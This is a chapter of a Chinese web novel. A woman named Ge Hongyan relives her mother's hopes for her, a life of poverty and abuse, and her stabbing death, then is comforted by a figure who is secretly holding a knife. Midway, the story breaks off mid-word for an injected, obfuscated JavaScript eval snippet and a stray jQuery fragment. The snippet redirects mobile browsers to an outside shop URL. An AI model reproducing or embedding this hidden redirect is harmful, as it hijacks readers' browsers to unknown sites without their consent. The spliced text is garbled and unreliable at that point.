沈笑白拿出来的，是一张红色的书签。
是之前夹在日记最后几页的那张书签。
看到这东西的那一瞬，葛鸿雁的哭声神奇般地停了下来。她盯着书签上面葛鸿雁那三个字，整个人像被点了穴一样定在原地。
“是它……是它……就是这个……”
葛鸿雁下意识伸出手去够那张书签，可伸到一半，指尖却停在了半空中，颤个不停。
紧接着，她的眼神又茫然了。
“这个……这个是什么……我怎么想不起来了……”
“我为什么要找它……为什么……”
沈笑白直接将书签翻了过来，背面原来还有一行字，上面写着：
【王桂芳赠爱女鸿雁】
葛鸿雁的眼底掠过一道剧烈的波动。
她想起来了。
这是妈妈留给她的。
“这是我的……是我的！”
她慌慌张张地伸出手去抓那张书签，沈笑白顺势松了手。可就在葛鸿雁的指尖快要碰到书签的瞬间，不知从哪窜来一阵风，卷起那张薄薄的红纸，飘飘摇摇地飞了出去。
“别！”
葛鸿雁急了，踉跄着小跑追上去，伸长手臂用力一抓。
嘭！
她重重摔倒在地。
耳边响起一个年轻女人的声音。
“哎呦鸿雁啊！你怎么又摔了啊！”年轻的王桂芳小跑着上来，扶起地上那个只有六岁大的小女孩。
小女孩摔倒了也没哭，仰着脸，一脸疑惑：“妈，你在喊谁啊？谁是鸿雁啊？我是跳蚤呀。”
“什么跳蚤不跳蚤的！你这个笨蛋，刚跟你说了又忘？”
王桂芳打了一下她的脑袋，从她口袋里抽出那张红书签，指着上面的字，“看见没？这三个字，就是你新名字。”
“这是妈专门去县里找老师给你取的，你以后就叫鸿雁。”
“跳蚤那名字多难听，一天到晚在泥巴里蹦跶，听着就不吉利。鸿雁多好，那是天上的大鸟，爱飞哪儿飞哪儿，多自在。”
刚被改名的小女孩撅了撅嘴：“可是爸说贱名好养活，他说跳蚤命硬，怎么都死不了，让我学着点。”
“别听你爸瞎说。”王桂芳把书签塞回她手里，语气硬邦邦的，“你是妈女儿，不是啥跳蚤。”
懵懵懂懂的小女孩低头翻弄那张书签，忽然翻到了背面：“咦，这怎么还有字啊？妈这写的啥？”
“那写的是，王桂芳赠爱女鸿雁。”王桂芳道。
小女孩愣了一下，然后一脸认真地问道：“那我以后的名字就叫王桂芳赠爱女鸿雁啦？这名字怎么这么长啊？”
“哎呀你个傻孩子，怎么这么笨啊！那是妈送给你的意思！”
王桂芳笑着把书签翻回正面，点了点那三个字，“你的名字在这儿呢，叫葛鸿雁。”
葛鸿雁盯着那三个字看了半天，似懂非懂地点了点头。
王桂芳看着她的样子，叹了口气，蹲下来拉住她的手：
“鸿雁啊，妈求了你爸大半年，他总算松口了，明年你就能去上学了。你好好读，等认了字就能看懂这些东西了。”
“咱女娃也得学点本事在身上，靠谁都不如靠自己，有了本事以后才能走出这大山，去大城市看看，晓得不？”
六岁的葛鸿雁不太懂这些大道理，但上学两个字她听进去了。她觉得新鲜，觉得好玩，便使劲点了点头。
接下来的日子，葛鸿雁每天都在盼着开学。
王桂芳给她买了新书包，还买了一个本子，说是日记本，文化人都爱写这个。
葛鸿雁高兴得不行，捧着那个本子翻来翻去的看，闻着这纸的香味，她忽然觉得，能把自己的名字写上去，好像是一件特别了不起的事。
还没开始上学，她就模仿着书签上的字，一遍一遍地练自己的名字。
一笔一划，认认真真，她用树枝在地上练了整整一个月的名字，才敢往日记本的封面上写。
不过她就练会了这三个字，其他的字一概不会，写出来还是歪歪扭扭，丑不拉几的。
开学那天，葛鸿雁背着新书包走进了学堂。她从来没这么开心过，老师教的每一个字她都瞪大眼睛认真学，她觉得读书真好，能写字真好。
可第二天，一切都变了。
妈妈怀了孕，爸爸说是个弟弟，家里的钱都要留给弟弟上学用，葛鸿雁不能读书了。
她的学只上了一天。
学费退了，书包被收走了，日记本被塞进了柜子最深处。王桂芳什么都没说，只是红着眼眶把她搂进怀里，搂了很久很久。
葛鸿雁倒是没哭。
只是从那以后，她总会趁着干完活的空隙，偷偷跑到学校外面，趴在窗户底下听老师讲课，一边听，一边用树枝在地上写字。
可这样，少不了是要耽误干活的，活干不完，回来就要挨一顿打。
八岁的葛鸿雁只能趴在床上，龇牙咧嘴地让妈妈给她涂药。
“我就去听一小会儿，又没耽误多少活，耽误不了给弟弟挣奶粉钱。”
“你个傻孩子怎么这么笨！”王桂芳手上使劲一按，“跟你说了多少回，偷听就偷听，别一去大半天。听那么久，你爸不发现才怪。”
“知道了知道了，我下次会小心的，嘶！妈你轻点。”
葛鸿雁嘴上应得勤快，心里却压根没当回事。一直到了十岁，她也还是那副粗心大意的样子。
她在灶台上手一滑，直接划破了一个大口子，鲜血直流。
“你这个笨蛋，跟你说多少次都记不住！刀都拿不稳，不是跟你说了手指要顶着刀背吗？”
王桂芳一把抓过她的手，按到水龙头底下冲。
葛鸿雁依旧疼得龇牙：“妈，这一千人的宴席忙完了，咱能分到多少钱啊？”
“你倒想得挺美，钱都是直接给你爸的，咱俩摸不着。”王桂芳道。
葛鸿雁盯着水龙头里冲走的血水，半天都没想通，干活的明明是她和妈妈，怎么钱就全进了爸的口袋？
这一想，就又想了四年。
十四岁的葛鸿雁站在庄稼地里，仰头看着天上一群飞过的大鸟，又开始琢磨事儿了。
“妈，那群鸟能飞多高多远啊？能飞出这座山吗？”
“你又问啥傻问题呢，当然能啊！”
王桂芳一边割庄稼一边说，“鸟就是想飞多高飞多高，想飞哪儿去就飞哪儿去。”
葛鸿雁盯着那群越来越远的鸟，喃喃道：“那我也想长翅膀，我也想飞出去。”
“那可不，我们鸿雁肯定比那鸟厉害多了！”王桂芳直起腰，擦了把汗，“你可是妈的骄傲，妈信你，肯定行。”
后来她真的飞出去了，只不过翅膀不够硬，只能从山里飞到镇上。
十八岁的葛鸿雁刚从镇上打工回来，满身是汗，走路一瘸一拐的，人却满脸兴奋。
“妈，今天干活时有个大姐跟我说，城里的女人能自己挣钱自己花，不用给家里。还能自己挑男人，不喜欢的还可以不嫁，城里咋那么好啊。”
王桂芳却没接她的话，一眼瞅见她脚上那双磨烂的鞋，冲上来就骂：
“你这个笨蛋！不是让你穿那双胶鞋吗？那双结实，走这么远的山路，你非穿这双薄的！”
葛鸿雁疼得缩了缩脚：“知道了知道了，下次我会记得穿厚的。”
这次她倒是没有食言。
出嫁那天，她穿着妈妈嘱咐的那双厚胶鞋，走了很远的山路，嫁给了隔壁山头的一个老光棍。
只是七天后回娘家的那天，葛鸿雁推开门，却发现屋里空旷了不少。
邻居阿婆走进来：“鸿雁啊？你妈……走了。”
“三天前的事儿，你爸不让告诉你，说嫁出去的女儿泼出去的水，别耽误你婆家的事。东西也都烧干净了，说是留着晦气。”
“你妈走之前，让我把这个一定交给你，你别太难过了，节哀啊。”
葛鸿雁接过那张红色的书签，她把它贴在胸口，攥得紧紧的。这是她现在唯一能摸到的，和妈妈有关的东西了。
“妈……”
她终于懂了。
懂了妈妈为什么要给她改名字，懂了鸿雁这个名字里藏了她多少期望，懂了妈妈有多希望她飞出这座山，飞出这片泥巴地，自由自在地活。
只不过这一次，没有人再回应她了，没有人再在她耳边骂：
你个笨蛋，才知道啊。
再后来，葛鸿雁自己也当了妈。她抱着刚出生的女儿，把那张书签轻轻放进襁褓，贴在女儿胸口，对着书签喃喃自语：
“妈，我生了，也是个女儿。”
“我学你的样子，也去县里找老师给取了个名，叫素秋。”
“他说这名字是从诗里来的，叫什么万里烟霞迎素秋，就是说，这世上所有东西都在欢迎我女儿的意思。咋样，是不是比你取的那个鸿雁好听多了？”
……
“妈，我得带素秋走，我不能让她在这儿长大。”
……
“妈，我跑出来了，走了十天山路，又转火车又转汽车，整整一个月才跑到这儿。你要是还在，肯定又要骂我笨蛋了。”
……
“妈，我烧的饭就那么难吃吗？食堂怎么老有人投诉。我记得你以前说我做的好吃啊，你当时是不是哄我的？”
……
“妈，他找来了，说要带素秋回去。我不给，我打死也不能给。我的素秋，绝对不能回去过那种日子。”
……
“妈，他们说是我买的菜不干净，害死了人。我没有，我买的都是好的，我自己也吃。”
“我不能就这么走了，素秋的学费还没着落，我好不容易才找着这份工。”
“明天，明天我一定得跟他们说清楚。”
可第二天，葛鸿雁没能等来解释的机会，等来的是学生家长红着眼冲上来的一刀。
她倒在食堂冰冷的地板上，血从肚子里往外涌，地板硌着后背，又硬又凉。
她听见有人在尖叫，有人在哭，有人在跑来跑去，声音越来越远，越来越模糊，然后她就不记
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541180|203618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得了。
直到刚才。
葛鸿雁拿到书签的那一刻，所有被遗忘的记忆像决了堤的洪水一样涌了回来。
她想起来了。
她全都想起来了。
她这拼尽全力却依旧一事无成的人生，她全都想起来了。
葛鸿雁瘫坐在地上，手里捏着那张书签，眼神发愣地看着前方，喃喃自语道：
“差一点，就差那么一点……日子就要好起来了。”
她身上的肥肉开始一层一层地褪去，像烂泥一样剥落，直到肉壳脱尽，才露出她原本的模样。
那是一个在苦难中蹉跎了一生的妇人。
她身上全是伤，家暴留下的淤痕，劳作留下的旧疤，粗糙起褶的双手，还有腹部那道被捅的口子。这些密密麻麻的伤口，是她这一辈子的缩影。
葛鸿雁低头看着手里的书签，颤抖着开口：
“妈……我没能逃出去，他找到我了。”
“我还是被困住了……你给我的那个名字，我没能做到，让你失望了。”
“素秋……我也没能让她过上好日子。”
“我拼了命想给她挣出一条路来，可到头来什么都没留下。”
说着说着，她整个人蜷缩成一团，双手紧紧抱住头，把脸深深埋进膝盖里，肩膀剧烈地抖动。
“我……我拼了命跑出来，拼了命干活，一天都不敢歇……到头来，怎么一件事都没做成……”
“我怎么这么没用……一件像样的事都没做成……一件都做不成……”
“我对不起妈，也对不起素秋……是我没用，是我太没用了……”
葛鸿雁陷进去了。
陷在深深的懊悔和自责之中，怎么都出不来。
直到她听到头顶传来熟悉的一句话。
“葛鸿雁，你怎么这么笨。”
她整个人直接顿住了，因为这句话王桂芳以前经常对她说。她一时间有些恍惚了，好像说这话的人不是沈笑白，而是她的妈妈。
然后她感觉到自己的头，被轻轻拢住，靠进了一个温暖的怀抱里。
有一只手，正慢慢拍着她的后脑勺，一下，又一下。
“葛鸿雁，你已经做得很好了，你自己不知道吗？”那个声音又响了。
葛鸿雁不敢动。
她怕一动，这个像妈妈一样的声音就会瞬间消失。
那个声音又道：
“我们鸿雁已经很厉害了，非常厉害。”
【我们鸿雁肯定比那鸟厉害多了，妈信你。】
葛鸿雁整个人骤然一滞。
这句话，王桂芳也曾说过。虽然不是一字不差，但说话的口气像极了妈妈。
那个声音又道：
“你是你妈的女儿，不管你做什么，做成什么样，你都会是她的骄傲。”
【你是妈的女儿，不是啥跳蚤。】
【你可是妈的骄傲，妈信你。】
又一句。
葛鸿雁脑子里最后的那根弦，也跟着断了。
沈笑白说的每一句话，都和她记忆里王桂芳的话重叠在了一起。沈笑白的声音刚落进耳朵，王桂芳的声音就从记忆里浮上来，两种声音缠在一起，叠成了同一种。
葛鸿雁恍惚了。
她这下彻底分不清。
分不清抱着她的人是谁，也分不清拍着她脑袋的人是谁。
好像现在抱着她的，轻拍她脑袋的，温声细语的这个人，就是王桂芳。
“鸿雁，妈的心头肉，你受苦了。”
葛鸿雁的眼泪一滴一滴砸在地上，她以为这辈子再也听不到妈妈跟她说话了。
“现在可以歇歇了，妈在这儿呢，不用你一个人扛了。”
她终于放声哭了出来，整个人埋进了那个怀抱里，像是要把这辈子受过的委屈全都给哭出来。
葛鸿雁这一生都在泥潭里打滚，一心想挣脱命运的枷锁，可每次都差那么一点，事事都差那么一点。
书包都买好了，学校也踏进去了，她差一点就能读上书。
山路走了十天，火车转汽车整整一个月，她差一点就能逃出那个人的手掌心。
拼了命干活，一天都不敢歇，她差一点就能让素秋过上好日子。
这就是命。
世事皆天定，浮沉不由身。
所幸，耕耘终有报，后世自乘风。
“你不是什么都没做成，至少，素秋已经乘着你的风飞了出去。”沈笑白半蹲着，一手揽着葛鸿雁的头，另一只手轻轻拍着她的后背。
葛鸿雁哭得力竭，把脸埋在那个怀抱里，整个人陷在久违的温暖中。她闭着眼，像终于找到了可以歇脚的地方。
但她没有看到，此刻正轻轻拍着她后背的，不只有沈笑白的那只手。
还有她手里握着的宰杀刀。
血污斑驳的刀面上，正映着沈笑白毫无暖意的眼睛。
那双眼睛正一寸一寸地确认着葛鸿雁背部的那个刀伤洞口，那是她死时从腰腹贯穿而出的致命伤。
这下可以了。